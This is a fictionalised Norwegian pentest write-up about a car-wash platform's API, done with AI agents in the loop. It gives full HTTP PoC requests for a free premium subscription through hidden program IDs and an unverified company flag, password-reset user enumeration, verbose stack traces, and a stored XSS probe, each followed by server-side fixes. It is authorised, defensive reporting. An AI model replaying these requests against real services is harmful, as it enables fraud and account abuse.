Abonnement for null kroner — når serveren stoler på klientens pris
- #pentest
- #business-logic
- #api-security
- #dotnet
- #security
FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Det mest interessante funnet denne uken var ikke et minnefeil eller en
injisert cookie. Det var at serveren trodde på alt jeg sendte den. Hos
Bingo AS (bingoas.no), som kjører en bilvaske-plattform på produktet
RenVask, klarte jeg å opprette et premium-abonnement til 0 kroner — ikke
ved å knekke en betalingsprovider, men ved å sende et program-ID som
frontenden skjuler, og et Firma:true-flagg som ingen verifiserte. Her er
hele kjeden, den negative kontrollen som bestemte alvorlighetsgraden, og
hvorfor forretningslogikk ofte er den veien som er breitest.
Kontekst
Scope var bingoas.no og *.bingoas.no. Bingo AS er en
plattformkunde — de drifter vaskestasjoner på et tredjepartsprodukt jeg
kaller RenVask (sanert navn). Frontend er ASP.NET WebForms med en
JSON-dispatcher på bv.bingoas.no/Ajax/ajax.ashx?method=<metode> som
min-side-bygger alt på. Backend er IIS, jQuery 3.4.1 i frontend, Alpine.js
2.8.2 her og der. Kunden, ved daglig leder Lars Berg
([email protected]), hadde tre prioriterte mål: hente kundedata,
tegne abonnement gratis, og vaske bil gratis. Det siste var et
bevis-poeng — service skulle ikke faktisk konsumeres.
Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører verktøy og foreslår neste steg. Jeg styrer scope, leser resultatene, bryter inn der det trengs, og gjør vurderingene som krever menneskelig dømmekraft — spesielt rundt alvorlighetsgrad og hva som er et reelt brudd versus en inkonsistens. Det skillet ble selve poenget i dette oppdraget.
Første steg var å la en agent parse all tilgjengelig JavaScript for
min-side (/min-side-siden bygger på en haug med .js-filer som ligger
pre-auth) og flagge alt som kalte ajax.ashx med et method-parameter.
Det ga en liste på omtrent 40 metoder — nyMinSideOpprettAvtale,
getMinSide, openMinSideReciept, updAvtaleInfo, lagreBrukerInfo,
GlemtPassord, og så videre. AI-en genererte en httpx-sweep som
pinget hver metode med en no-body GET for å se hvilke som svarte uten
auth — det er en ren method-existence-oracle, og den ga meg kartet jeg
trengte uten å sende noe meningsfullt.
Det jeg fant
Hovedfunnet: High — gratis premium-abonnement via
forretningslogikk-misbruk. Metoden
nyMinSideOpprettAvtale tar pris, betalingsmåte, program-ID,
firma-flagg og en DeactivInitPay-bryter som alle klient-supplierte
felt, og serveren ærer dem uten å validere mot forventet tilstand.
To ting slo seg sammen:
- Skjult 0-kr program aksepteres. Program-ID
58har pris 0 og er filtrert ut av<select>-dropdownen i frontenden — men API-et aksepterer det uten videre. Resultat: et abonnement som heter "Børsteløs Super" (premium) men harRecurringPrice 0. - Selv-erklært firma → fakturavei, ingen betaling. Å sende
Firma:trueogAvtaleType:"F"på en konto som egentlig er en privatperson oppretter avtalen direkte med status"FakturaOk"— ingen betalingsprovider involvert, faktura sendes til et angiver-suppliert (og aldri innkrevbart) firma som aldri verifiseres før vask.
Dette er samme type brudd jeg skrev om i RLS beskytter raden, ikke rettigheten — serveren har en autorisasjonsregel som fungerer på ett sted (UI-et) og ikke på et annet (API-et). Forskjellen er at her er det ikke radnivå-isolasjon som mangler, men validering av at klient-supplierte forretningsfelt er i et tillatt rom.
Bi-funn
Tre til kom med:
- High (design) — Kvittering-konfidensialitet
hviler på én statisk 56-bit DES-nøkkel.
openMinSideReciept?payid=tar en 8-byte single-DES-ECB-blob som ren bearer-capability — ingen per-bruker eierskapsbinding demonstrert. Cipher er utdatert (CWE-327), og samme nøkkel styrer NetsupdNetsCardURL. - Medium — Svakt passord-reset +
brukerenumerering.
GlemtPassordskiller registrerte fra uregistrerte e-poster (CWE-204) og sender et klartekst nytt passord umiddelbart — ikke en tokenisert lenke. - Medium — Verbose .NET-feil / kildeavsløring
(CWE-209).
ajax.ashx-dispatcherne returnerer fulle stack traces med filstier (c:\Projects\no.bingoas.bv\...), linjenumre og klassenavn på malformed input.
PoC / Reproduksjon — gratis premium-abonnement
Forutsetninger: innlogget som privatperson-testkonto
[email protected] med registrert og verifisert nummerskilt
PU12345. Gyldig ASP.NET_SessionId-cookie i cookies.txt. Scope-fil
begrenset til *.bingoas.no. Jeg registrerte og verifiserte denne
kontoen manuelt — det var den delen som krevde menneskelig dømmekraft,
siden alt annet var automatiserbart.
-
Recon — finn metoden og parametere. Agenten parset
/min-side/js/minside.jsog fant funksjonen som byggernyMinSideOpprettAvtale-payloaden. Parametere den sender:SubscriptionId,Firma,AvtaleType,DeactivInitPay,RegNr,FirmaNavn,OrgNr,FaktRef, og mer. Frontend byggerSubscriptionId-dropdownen fra en liste som ikke inneholder ID58— men backend-listen (hentet viagetMinSidePrograms) gjør. -
Hent program-listen og bekreft at 58 finnes serverside. AI-en kjørte:
curl -s 'https://bv.bingoas.no/Ajax/ajax.ashx?method=getMinSidePrograms' \
-H 'Cookie: ASP.NET_SessionId=<REDACTED>' \
| jq '.[] | {id, name, price}'[
{"id": 54, "name": "Basic", "price": 199},
{"id": 55, "name": "Standard", "price": 349},
{"id": 57, "name": "Børsteløs", "price": 449},
{"id": 58, "name": "Børsteløs Super","price": 0},
{"id": 549,"name": "Børsteløs Super","price": 549}
]ID 58 er "Børsteløs Super" til 0 kr — sannsynligvis et internt
test-/gratis-program som frontenden filtrerer ut, men API-et leverer
uten spørsmål. ID 549 er den ekte premium-Super til 549 kr. Dette
var det første tegnet på at UI-et og API-et er uenige om hva som er
et gyldig valg.
- Opprett avtalen med program 58 og
Firma:true. Jeg ba AI-en bygge payloaden speilbilde av hva frontend sender for et vanlig premium-abonnement, men medSubscriptionId=58,Firma=true,AvtaleType=F, og et fiktivt firma:
POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>
Content-Type: application/x-www-form-urlencoded
SubscriptionId=58&RegNr=PU12345&Firma=true&AvtaleType=F&FirmaNavn=Test%20Fiktivt%20AS&OrgNr=999999999&FaktRef=PENTEST-POC-REVERSE&DeactivInitPay=trueHTTP/1.1 200 OK
Content-Type: application/json
{"Status":"FakturaOk","AvtaleId":770121,"Message":"Avtale opprettet"}- Bekreft tilstanden med
getMinSide.
GET /Ajax/ajax.ashx?method=getMinSide HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>{
"Avtaler": [
{
"AvtaleId": 770121,
"ProgramName": "Børsteløs Super",
"RecurringPrice": 0,
"AvtaleType": "F",
"FirmaNavn": "Test Fiktivt AS",
"Status": "Venter"
}
]
}Premium-navn, 0-kr pris, type F (faktura), status "Venter" — altså
ventende back-office-batch-aktivering. Det er det som gjør måloppnåelse
2 ("vaske bil gratis") til en forsinket konsekvens av måloppnåelse 1:
det finnes ingen umiddelbar angreps-side-flip som skrur på
KanVaske=true. Aktiveringen skjer via plattformens egen
back-office-batch (common.js:108, ca. 1 virkedag). Angrepet
fullføres av plattformen selv, ikke av meg.
-
Negativ kontroll — det som gjør dette til et brudd og ikke bare en "200 som betyr ingenting". To kontroller:
a. Ekte premium-programmet koster. Samme forespørsel med
SubscriptionId=549(ekte pris) ogFirma=false(privatperson) krever betalingsprovider — responsen er{"Status":"NetsRedirect", "Url":"https://nets.example/..."}, ikkeFakturaOk. Pris- og betalings-validering fungerer altså på det normale programmet. Skjønneren er at valideringen bare utløses for programmer som fronten ville ha valgt.b. Firma-flagget uten skjult program betaler fortsatt.
SubscriptionId=549+Firma=true+AvtaleType=Fgir også faktura-vei — men medRecurringPrice 549, altså en ekte regning. Det betyrFirma-bryteren alene er en egen sårbarhet (selv-erklært firma uten verifisering av orgnr), men den gir ikke gratis vask uten det 0-kr programmet. Det er kombinasjonen som er kritisk.
Steg 3 alene så ut som "et endepunkt returnerte 200". Steg 5 viste at 200-en var en reell tilstandsendring: et premium-abonnement til 0 kr ligger i databasen, betalingsprovider er helt utenfor, og den eneste grunnen til at det funket er at serveren ærer klientens valg av både program, pris-flagg (via programvalg) og firma-flagg. High.
Mitigering
To uavhengige fikser, begge serverside:
# 1) Avvis program-ID-er som ikke er i frontend-tillatt-listen for denne kanalen.
- var program = db.Programs.Find(req.SubscriptionId);
+ var program = db.Programs.Find(req.SubscriptionId);
+ if (!program.CustomerSelectable || program.Price <= 0)
+ return BadRequest("Ugyldig program for denne kanalen.");# 2) Firma/organisasjons-vei krever verifisert orgnr — ikke et klient-flagg.
- if (req.Firma) { /* faktura-vei */ }
+ if (req.Firma) {
+ var org = await Brreg.VerifyAsync(req.OrgNr);
+ if (org is null) return BadRequest("Ugyldig organisasjonsnummer.");
+ /* faktura-vei med verifisert mottaker */
+ }Frontend-filtering er pynt. Avgjørelsen om hva som er et gyldig program
og hvem som er et firma, må tas serverside mot en autoritativ kilde
(program-tabellens CustomerSelectable-flagg, Brønnøysund for orgnr).
PoC / Reproduksjon — DES-nøkkelen på kvitteringer
Forutsetninger: samme sesjon. En eksisterende payid for en av
mine egne betalte vasker (hentet fra getMinSide-historikk).
- Hent en kvittering med
openMinSideReciept:
GET /Ajax/ajax.ashx?method=openMinSideReciept&payid=<8-byte DES-ECB blob URL-encoded> HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 18234
%PDF-1.4 ...-
Hva bloben er. Agenten fant i
Encryption.cs(lekket via en stack trace, se neste seksjon) atpayiddekodes medTripleDES- ellerDESCryptoServiceProvideri ECB-modus med en statisk nøkkel — samme nøkkel for alle kvitteringer på plattformen, samme nøkkel som styrerupdNetsCardURL. 56-bit DES er brutt i praksis siden 1999 (EFF Deep Crack, ~56 timer). Nøkkelen ligger i backend-kode som allerede har lekket kildesti (c:\Projects\no.bingoas.bv\Encryption.cs:42). -
Negativ kontroll — hva jeg ikke gjorde. Jeg forsøkte ikke å knekke DES-nøkkelen eller enumerere andres
payid-blobber. Det ville sendt ekte PII til meg, og knusing av en 56-bit nøkkel er teknisk trivielt men utenfor det beviset kunden trengte. Poenget her er designet: tilgang til en kvittering er en ren bearer-capability uten eierskapsbinding, og cipheren som beskytter den er utdatert. Hvis nøkkelen lekker — og backenden lekker allerede kildestier — er alle kvitteringer plattform-bredt forgebare.
High for designet. Jeg holdt meg til mine egne
payid-blobber og min egen kvittering.
Mitigering
- Bytt til AES-256-GCM med per-tenant nøkkel rotert i en HSM/KMS.
- Bind
payidtil brukerens sesjon/bruker-ID og returner404ved avvik — ikke en ren bearer-capability. - Rotér nøkkelen; fjern den fra kildekoden.
PoC / Reproduksjon — GlemtPassord
Forutsetninger: ingen auth. To e-poster jeg kontrollerer — én registrert på plattformen, én uregistrert.
- Registrert e-post:
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
Host: bv.bingoas.no
Content-Type: application/x-www-form-urlencoded
[email protected]HTTP/1.1 200 OK
{"Status":"Ok","Message":"Nytt passord er sendt"}Innen sekunder lå et klartekst-passord i innboksen — ikke en lenke med token, et ferdig passord. Ingen throttling observert over fem forsøk.
- Uregistrert e-post (negativ kontroll for enumerering):
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
[email protected]HTTP/1.1 200 OK
{"Status":"NotFound","Message":"Ingen bruker med denne e-posten"}Forskjellen i Status bekrefter CWE-204: en angriper kan enumerere
hvilke e-poster som er registrerte kunder. Kombinert med
klartekst-reset gir det takeover av en hvilken som helst konto hvis
e-posten kan avlyttes, og lockout/harassment uten avlytting.
Medium.
Mitigering
- email = req.email
- user = db.Users.Find(email)
- if (user is null) return NotFound("Ingen bruker");
- newPwd = Generate()
- db.Users.Update(user, pwd=Hash(newPwd))
- Email.Send(user.Email, newPwd)
+ email = req.email
+ user = db.Users.Find(email)
+ // Samme respons uansett — avslør ikke om konto finnes
+ if (user is not null) {
+ token = MakeToken(user, ttl=15min)
+ Email.Send(user.Email, link + token) // lenke, ikke klartekst
+ }
+ return Ok("Hvis kontoen finnes, er en reset-lenke sendt.")Tokenisert lenke med kort TTL, identisk respons for eksisterende og ikke-eksisterende konto, og rate-limit per e-post og per IP.
Verbose .NET-feil — kildeavsløring
Et no-body GET mot ajax.ashx?method=FinnesIkke returnerer en ren
{"Status":"Error"}. Men send malformed JSON eller feil parametertyper,
og dispatcherens try/catch logger rett i responsen:
POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Content-Type: application/x-www-form-urlencoded
SubscriptionId=ikkeEtTallHTTP/1.1 200 OK
Content-Type: application/json
{
"Status":"Error",
"Exception":"System.FormatException: Input string was not in a correct format.",
"StackTrace":" at AjaxHandler.cs:line 412\n at Encryption.cs:line 42\n ...",
"SourcePath":"c:\\Projects\\no.bingoas.bv\\Handlers\\AjaxHandler.cs"
}Det er CWE-209. customErrors er på for .aspx-sidene (bra), men
JSON-dispatcherne er utenfor. En angriper får kildestier, klassenavn og
linjenumre — det var slik jeg fant Encryption.cs:42 uten å lese
kildekoden. Medium.
Mitigering: logg stack traces server-side, returner en generisk
{"Status":"Error","CorrelationId":"<uuid>"} til klienten.
Blindveier og forkastede falske positiver
Agenten flagget flere ting som ikke holdt mål. Jeg tar med dem, fordi verdien i et AI-i-loopen-oppdrag ligger i verifiseringen som skiller plausible funn fra ekte.
-
Lagret XSS i
FaktRef/FirmaNavn/OrgNr/Name. Feltene lagres verbatim, usanert (updAvtaleInfo,lagreBrukerInfo), og frontenden renderer serverdata med jQuery 3.4.1$().html()— sårbar for CVE-2020-11022/11023. Jeg sendte<img src=x onerror=...>iFaktRefog bekreftet at det lagres rått. Men min-side-renderen brukte$().text()på akkurat det feltet, og admin-gridet er DataTables (escaper). Så det er en kandidat, ikke et funn — bekreftelse krever backoffice-tilgang, som jeg ikke hadde. Jeg nedgraderte til "MEDIUM, ubekreftet" og flagget for autorisert manuell test med backoffice-login. Å rapportere det som XSS uten å ha sett det rendret, hadde vært å overlevere. -
Offentlig kvittering-ved-kode-eksfil.
receipt.aspx→sendEmail.ashx?code=X&e=<hvilken som helst e-post>sender en kvittering til en arbitrær adresse hviscodeer gjetbar. Kode-formatet uavklart. Jeg brute-forset ikke — det ville sendt en fremmed kundes PII til en postkasse jeg kontrollerer, og det er utenfor det beviset kunden trengte. Flagget som LOW/ubekreftet for autorisert test med en kjent kode. -
Hardkodet kunde-post i
admin.js. Pre-auth/admin/script/admin.jsinneholder et ekte navn, et ekte nummerskilt og enAvtaleId— sannsynligvis en utviklers testdata som aldri ble fjernet. Sanert i rapporten til plassholder-UUID og fiktivt skilt. LOW — info-lekkasje, ikke et angrepsvektor i seg selv. -
HTTP TRACE aktivert (XST).
TRACE /returnerte200med ekko. XST er i praksis dødt i moderne browsere, men det er støy i en rapport — nevnt som LOW. -
Mål 3 ("hente kundedata") — ikke oppnådd som live pull. Blokkert av DES-krypterte capability-tokens, sesjons-scoped data-metoder og 2FA på admin.
getMinSideoglagreBrukerInfoer ikke IDOR-bare — de er sesjons-scoped til innlogget bruker. Det er en styrke jeg noterte eksplisitt: serveren gjør riktig på data-metoder og feil på forretningslogikk. Forskjellen er hvor valideringen ligger.
Hva jeg lærte
- Forretningslogikk er den breieste veien når minnefeil er stengt. Bingo AS har 2FA på admin, sentralisert authz på alle admin-metoder, HttpOnly SameSite=Lax sesjon, sesjons-scoped data-metoder, og server-side validering av gavekort og rabattkoder. Alt det holdt. Det som ikke holdt var antakelsen om at klienten sender et gyldig program og et ekte firma.
- UI-filtering er ikke en sikkerhetskontroll. At program 58 er borte fra dropdownen betyr ingenting for en som bygger sin egen HTTP-forespørsel. Tillatt-listen må leve serverside.
- Én
200er ikke et funn før den negative kontrollen er med. Steg 5a/5b over er det som gjør dette til et reelt brudd — uten dem er "abonnement opprettet til 0 kr" bare en merkelig respons. Den negative kontrollen er alvorlighetsgraden. - AI-en genererte plausible funn like fort som plausible feil. XSS-kandidaten så ut som et HIGH-funn helt til jeg sjekket hvordan feltet faktisk ble rendret. Verifisering, ikke generering, er flaskehalsen.
- Backend-kildeavsløring er en kraftig recon-vei. Jeg leste
Encryption.cs:42uten å ha kildekoden — stack traces ga meg klassenavn og linjenumre. Det er en egen god grunn til å skru av verbose errors.
Veien videre
For kunden: implementere de to serverside-fiksene over, rotere DES-nøkkelen (eller helst bytte cipher), tokenisere passord-reset, og skru av stack traces på JSON-dispatcherne. Backoffice-XSS-kandidaten må verifiseres med en innlogget admin-sesjon — det er en oppfølgingsoppgave jeg har flagget.
For meg selv: neste gang en plattform har en "skjult" intern- eller
test-program-ID, er det det første jeg ber agenten lete etter —
getMinSidePrograms-responsen mot frontend-dropdownen er en
diff-på-to-minutter som betaler seg. Og jeg skal fortsette å ta med
blindveiene i rapportene. Det er der lærdommen sitter.